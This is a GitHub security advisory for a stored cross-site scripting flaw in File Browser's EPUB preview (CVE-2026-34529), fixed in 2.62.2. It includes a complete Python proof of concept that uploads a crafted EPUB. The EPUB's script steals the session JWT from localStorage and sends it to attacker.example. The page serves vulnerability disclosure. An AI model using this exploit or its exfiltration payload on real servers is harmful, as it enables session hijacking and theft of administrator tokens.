GitHub Advisoryadvisory · Go

GHSA-5vpr-4fgw-f69h File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file

HIGH Published 2026-03-31 Modified 2026-04-06 Official page ↗
Aliases
CVE-2026-34529
Ecosystem
Go
Packages
github.com/filebrowser/filebrowser/v2
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Weaknesses
CWE-79
Reviewed
2026-03-31

Affected packages

• Go github.com/filebrowser/filebrowser/v2: < 2.62.2 → fixed in 2.62.2

Description

Summary The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file. Details `frontend/src/views/files/Preview.vue` passes `allowScriptedContent: true` to the `vue-reader` (epub.js) component: ```js // frontend/src/views/files/Preview.vue (Line 87) :epubOptions="{ allowPopups: true, allowScriptedContent: true, }" ``` epub.js renders EPUB content inside a sandboxed with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which renders the sandbox ineffective — the script can access the parent frame's DOM and storage. The epub.js developers explicitly warn against enabling scripted content. PoC I've crafted the PoC python script that could be ran on test environment using docker compose: ```yaml services: filebrowser: image: filebrowser/filebrowser:v2.62.1 user: 0:0 ports: • "80:80" ``` And running this PoC python script: ```python import argparse import io import sys import zipfile import requests BANNER = """ Stored XSS via EPUB PoC Affected: filebrowser/filebrowser epubOptions: { allowScriptedContent: true } Related: CVE-2024-35236 (same pattern in audiobookshelf) """ CONTAINER_XML = """ """ CONTENT_OPF = """ poc-xss-epub-001 Security Test Document en 2025-01-01T00:00:00Z """ NAV_XHTML = """ Navigation Chapter 1 """ XSS_CHAPTER = """ Chapter 1 Security Test Document This document tests EPUB script execution in File Browser. Waiting... Fetching IP... var out = document.getElementById("xss-proof"); var ipOut = document.getElementById("ip-proof"); var jwt = "not-found"; try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; } out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt; fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){ ipOut.textContent = "Victim public IP: " + ip.trim(); }).catch(function(e){ ipOut.textContent = "IP fetch failed: " + e.message; }); var img = new Image(); img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt); """ def login(base: str, username: str, password: str) -> str: r = requests.post(f"{base}/api/login", json={"username": username, "password": password}, timeout=10) if r.status_code != 200: print(f"[-] Login failed: {r.status_code}") sys.exit(1) return r.text.strip('"') def build_epub() -> bytes: """Build a minimal EPUB 3 file with embedded JavaScript.""" buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr("mimetype", "application/epub+zip", compress_type=zipfile.ZIP_STORED) zf.writestr("META-INF/container.xml", CONTAINER_XML) zf.writestr("OEBPS/content.opf", CONTENT_OPF) zf.writestr("OEBPS/nav.xhtml", NAV_XHTML) zf.writestr("OEBPS/chapter1.xhtml", XSS_CHAPTER) return buf.getvalue() def main(): print(BANNER) ap = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description="Stored XSS via malicious EPUB PoC", epilog="""examples: %(prog)s -t http://localhost:8080 -u admin -p admin %(prog)s -t http://target.com/filebrowser -u user -p pass root cause: frontend/src/views/files/Preview.vue passes epubOptions: { allowScriptedContent: true } to the vue-reader (epub.js) component. The iframe sandbox includes allow-scripts and allow-same-origin, which lets the script access the parent frame's localStorage and make arbitrary network requests. impact: Session hijacking, privilege escalation, data exfiltration. A low-privilege user with upload access can steal admin tokens.""", ) ap.add_argument("-t", "--target", required=True, help="Base URL of File Browser (e.g. http://localhost:8080)") ap.add_argument("-u", "--user", required=True, help="Username to authenticate with") ap.add_argument("-p", "--password", required=True, help="Password to authenticate with") if len(sys.argv) == 1: ap.print_help() sys.exit(1) args = ap.parse_args() base = args.target.rstrip("/") print() print("[*] ATTACK BEGINS...") print("====================") print(f" [1] Authenticating to {base}") token = login(base, args.user, args.password) print(f" Logged in as: {args.user}") print(f"\n [2] Building malicious EPUB") epub_data = build_epub() print(f" EPUB size: {len(epub_data)} bytes") upload_path = "/poc_xss_test.epub" print(f"\n [3] Uploading to {upload_path}") requests.delete(f"{base}/api/resources{upload_path}", headers={"X-Auth": token}, timeout=10) r = requests.post( f"{base}/api/resources{upload_path}?override=true", data=epub_data, headers={ "X-Auth": token, "Content-Type": "application/epub+zip", }, timeout=30 ) if r.status_code in (200, 201, 204): print(f" Upload OK ({r.status_code})") else: print(f" Upload FAILED: {r.status_code} {r.text[:200]}") sys.exit(1) preview_url = f"{base}/files{upload_path}" print(f"\n [4] Done") print(f" Preview URL: {preview_url}") print("====================") print() print() print(f"Open the URL above in a browser. You should see:") print(f" - Red text: \"XSS OK\" + stolen JWT token") print(f" - Orange text: victim's public IP (via ifconfig.me)") print() print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).") print(f"The attack is silent — JWT theft and network exfiltration work.") if __name__ == "__main__": main() ``` And terminal output: ```bash root@server205:~/sec-filebrowser# python3 poc_xss_epub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t Stored XSS via EPUB PoC Affected: filebrowser/filebrowser epubOptions: { allowScriptedContent: true } Related: CVE-2024-35236 (same pattern in audiobooksh…

Related

Alias · CVE (1)

  • CVE-2026-34529 File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References